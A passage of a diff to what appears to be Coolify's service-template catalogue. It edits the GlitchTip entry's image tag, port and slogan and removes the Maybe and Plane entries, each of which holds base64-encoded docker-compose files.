+ "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC40JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=",
"tags": [
"beszel",
"monitoring",
@@ -1758,19 +1758,17 @@
},
"glitchtip": {
"documentation": "https://glitchtip.com?utm_source=coolify.io",
- "slogan": "GlitchTip is a self-hosted, open-source error tracking system.",
- "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HTElUQ0hUSVBfODA4MAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHdvcmtlcjoKICAgIGltYWdlOiBnbGl0Y2h0aXAvZ2xpdGNodGlwCiAgICBjb21tYW5kOiAuL2Jpbi9ydW4tY2VsZXJ5LXdpdGgtYmVhdC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogZ2xpdGNodGlwL2dsaXRjaHRpcAogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=",
+ "slogan": "GlitchTip is a error tracking system.",
+ "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HTElUQ0hUSVBfODAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2xpdGNodGlwL2dsaXRjaHRpcDo2LjAnCiAgICBjb21tYW5kOiAuL2Jpbi9ydW4tY2VsZXJ5LXdpdGgtYmVhdC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogJ2dsaXRjaHRpcC9nbGl0Y2h0aXA6Ni4wJwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=",
"tags": [
"error",
"tracking",
- "open-source",
- "self-hosted",
"sentry"
],
"category": "monitoring",
"logo": "svgs/glitchtip.png",
"minversion": "0.0.0",
- "port": "8080"
+ "port": "8000"
},
"glpi": {
"documentation": "https://help.glpi-project.org/documentation?utm_source=coolify.io",
@@ -2681,24 +2679,6 @@
"minversion": "0.0.0",
"port": "8065"
},
- "maybe": {
- "documentation": "https://github.com/maybe-finance/maybe?utm_source=coolify.io",
- "slogan": "Maybe, the OS for your personal finances.",
- "compose": "c2VydmljZXM6CiAgbWF5YmU6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdhcHBfc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01BWUJFCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtICdSQUlMU19GT1JDRV9TU0w9JHtSQUlMU19GT1JDRV9TU0w6LWZhbHNlfScKICAgICAgLSAnUkFJTFNfQVNTVU1FX1NTTD0ke1JBSUxTX0FTU1VNRV9TU0w6LWZhbHNlfScKICAgICAgLSAnR09PRF9KT0JfRVhFQ1VUSU9OX01PREU9JHtHT09EX0pPQl9FWEVDVVRJT05fTU9ERTotYXN5bmN9JwogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFfScKICAgICAgLSBEQl9IT1NUPXBvc3RncmVzCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1heWJlLWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHQ6JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfUByZWRpczo2Mzc5LzEnCiAgICAgIC0gJ09QRU5BSV9BQ0NFU1NfVE9LRU49JHtPUEVOQUlfQUNDRVNTX1RPS0VOfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2hjci5pby9tYXliZS1maW5hbmNlL21heWJlOmxhdGVzdCcKICAgIGNvbW1hbmQ6ICdidW5kbGUgZXhlYyBzaWRla2lxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFQ1JFVEtFWUJBU0V9JwogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSAnUkFJTFNfRk9SQ0VfU1NMPSR7UkFJTFNfRk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ1JBSUxTX0FTU1VNRV9TU0w9JHtSQUlMU19BU1NVTUVfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFPSR7R09PRF9KT0JfRVhFQ1VUSU9OX01PREU6LWFzeW5jfScKICAgICAgLSBEQl9IT1NUPXBvc3RncmVzCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHQ6JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfUByZWRpczo2Mzc5LzEnCiAgICAgIC0gJ09QRU5BSV9BQ0NFU1NfVE9LRU49JHtPUEVOQUlfQUNDRVNTX1RPS0VOfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnbWF5YmVfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1heWJlLWRifScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OC1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tYXBwZW5kb25seSB5ZXMgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXNfZGF0YTovZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtIFJFRElTX0RCPTEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAzcwogICAgICByZXRyaWVzOiAzCg==",
- "tags": [
- "finances",
- "wallets",
- "coins",
- "stocks",
- "investments",
- "open",
- "source"
- ],
- "category": "productivity",
- "logo": "svgs/maybe.svg",
- "minversion": "0.0.0",
- "port": "3000"
- },
"mealie": {
"documentation": "https://docs.mealie.io/?utm_source=coolify.io",
"slogan": "A recipe manager and meal planner.",
@@ -3678,27 +3658,6 @@
"minversion": "0.0.0",
"port": "80"
},
- "plane": {
- "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io",
- "slogan": "The open source project management tool",
- "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgREVCVUc6ICcke0RFQlVHOi0wfScKICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogIEdVTklDT1JOX1dPUktFUlM6ICcke0